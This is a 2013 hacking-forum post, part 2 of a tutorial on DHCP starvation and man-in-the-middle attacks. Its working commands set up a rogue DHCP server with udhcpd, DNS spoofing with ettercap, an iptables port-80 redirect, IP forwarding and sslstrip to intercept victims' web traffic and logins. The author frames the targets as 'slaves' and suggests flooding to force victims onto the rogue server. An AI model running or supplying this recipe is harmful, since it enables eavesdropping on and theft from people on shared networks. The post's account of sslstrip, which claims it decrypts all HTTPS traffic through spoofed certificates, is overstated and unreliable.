Nov 4, 2013 12:46 AM
(This post was last modified: Feb 15, 2014 05:10 AM by Goodies.)
Hey guys :D
Alright, so this is part 2 of my DHCP Starvation and MITM attack! In this part, we are going to set up a miniature DHCP server and act as a default gateway to other machines now trying to join the network.
Note: This attack works so fucking amazingly with an IPv6 flood or something that would force the users to restart their machines. Though the machines would have to be off when you start the attack for maximum slaves ;)
Setting Up the DHCP/DNS Server
So last time I told you how DHCP works in a basic sense. We are going to set up a DHCP server using "udhcpd" and we will be setting up a DNS server using nothing else but GOOD OLD ETTERCAP :D
First off, get udhcpd if you don't have it aready:
Code
apt-get install udhcpdAlright, we need to edit the configuration file so we know what's up.
First of all, some important information to note:
Quote:My IP: 192.168.7.3
Router IP: 192.168.7.1
Network IP: 192.168.7.0
Subnet Mask: 255.255.255.0
Alright, let's edit the config file:
Code
nano /etc/udhcpd.confFind the line that says "start" and underneath that should say "end". Configure it with your network settings:
Code
start 192.168.7.20
end 192.168.7.254
[code]
MAKE SURE TO PUT TABS NOT SPACES! Not that it really matters xD
Now we need to set up some more options. Scroll down and edit these to your needs:
[code]
opt dns 192.168.7.3
option subnet 255.255.255.0
opt router 192.168.7.2
opt wins 192.168.7.10
option dns 8.8.8.8
option domain local
option lease 864000That's it :D
ctrl+o -> enter to save
ctrl+x -> exit.
Now that we have that, start the DHCP server!
First we need to edit one more file and enable it:
Code
nano /etc/default/udhcpdchange:
Code
DHCPD_ENABLED="no"Code
DHCPD_ENABLED="yes"Now let's start the daemon/service!
Code
sudo /etc/init.d/udhcpd restartDone! That's our DHCP Server!!!
Now for the DNS server. There are a million tutorials on where to download ettercap and things so I won't be going over all that. You can also install it by going:
Code
sudo apt-get install ettercap-text-onlyAlright, so feel free to set up DNS records if needed by editing "/usr/share/ettercap/etter.dns" at the bottom where all of the DNS records are :) You may have to locate the etter.dns file if it's not there.
So, let's just open up the DNS server, shall we?
Code
ettercap -Tq -P dns_spoofConfiguring SSLStrip and IPTables
I can spend all day on this section, but it's almost 1am and I've got class in a few hours xD So I'll limit it to just a few minutes.
SSLStrip: This is going to capture HTTP data and it will also spoof a SSL certificate so we can decrypt the victim's HTTPS traffic and have a secure connection with them ourselves. This s great for intercepting HTTPS encrypted websites.
IPTables: Static routing tables and nat configuration. I really can't go into it more, but if you'd like to know more feel free to ask!
Okay, so let's go ahead and run our iptables command (you don't have to flush the tables if you don't have rules already for these ports):
Code
iptables --flush
iptables -t nat --flush
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000Okay, let's ensure port forwarding can ensue:
Code
echo "1" > /proc/sys/net/ipv4/ip_forwardLet's set up SSL strip now.
Code
sslstrip -k -a -l 10000Watch the fireworks! You can check the ssl.log file whevever you'd like. This will capture ALL traffic both HTTP and HTTPS regardless if the cert is SSL or TLS :D
Tutorial by Goodies. I Hope You Enjoyed :D
~ Goodies ♥
SRPP Discord Server
I am a professional network/cloud security architect.
My Old Tutorials
I am a professional network/cloud security architect.
My Old Tutorials



